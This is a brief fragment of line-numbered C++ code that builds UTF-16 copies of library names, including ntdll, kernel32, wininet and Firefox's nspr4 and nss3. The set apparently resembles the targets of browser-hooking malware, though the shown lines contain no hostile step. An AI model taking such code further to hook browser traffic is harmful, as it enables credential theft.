Utf8toUtf16(Strs::ntdll); 975 | Strs::wNspr4dll = Utf8toUtf16(Strs::nspr4dll); 976 | Strs::wNss3dll = Utf8toUtf16(Strs::nss3dll); 977 | Strs::wWininet = Utf8toUtf16(Strs::wininet); 978 | Strs::wKernel32 = Utf8toUtf16(Strs::kernel32); 979 | Strs::wKernelBase = Utf8toUtf16(Strs::kernelBase); 980 | } 981 | --------------------------------------------------------------------------------